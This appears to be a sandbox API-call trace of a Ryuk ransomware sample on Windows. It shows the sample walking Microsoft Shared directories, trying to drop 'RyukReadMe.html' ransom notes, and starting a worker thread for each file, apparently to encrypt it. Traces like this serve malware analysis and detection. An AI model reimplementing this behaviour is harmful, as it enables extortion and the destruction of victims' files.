	[0167.525] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0
	[0167.525] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0167.525] SetLastError (dwErrCode=0x0) 
	[0167.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.525] GetLastError () returned 0x5
	[0167.525] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.526] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1
	[0167.526] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc
	[0167.528] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.528] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1
	[0167.528] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900
	[0167.531] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.531] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1
	[0167.531] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1
	[0167.531] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1
	[0167.531] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1
	[0167.531] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0
	[0167.532] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0167.532] SetLastError (dwErrCode=0x0) 
	[0167.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.532] GetLastError () returned 0x5
	[0167.532] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0167.532] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.532] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0167.532] SetLastError (dwErrCode=0x0) 
	[0167.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.533] GetLastError () returned 0x5
	[0167.533] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0167.533] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0167.534] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.534] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0167.534] SetLastError (dwErrCode=0x0) 
	[0167.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.534] GetLastError () returned 0x5
	[0167.534] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.534] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0167.535] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.535] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0167.535] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0167.535] SetLastError (dwErrCode=0x0) 
	[0167.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.536] GetLastError () returned 0x5
	[0167.536] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.536] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.536] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0167.536] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0167.536] SetLastError (dwErrCode=0x0) 
	[0167.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.537] GetLastError () returned 0x5
	[0167.537] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0167.537] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.537] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0167.537] SetLastError (dwErrCode=0x0) 
	[0167.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.537] GetLastError () returned 0x5
	[0167.537] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0167.538] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0167.538] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.538] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1
	[0167.538] SetLastError (dwErrCode=0x0) 
	[0167.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.539] GetLastError () returned 0x5
	[0167.539] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.539] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0167.539] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.539] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0167.539] SetLastError (dwErrCode=0x0) 
	[0167.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.540] GetLastError () returned 0x5
	[0167.540] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0167.540] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0167.666] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.666] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1
	[0167.666] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c
	[0167.668] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.669] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1
	[0167.669] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910
	[0167.673] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.674] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1
	[0167.674] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1
	[0167.674] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x914
	[0167.676] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.676] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1
	[0167.677] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
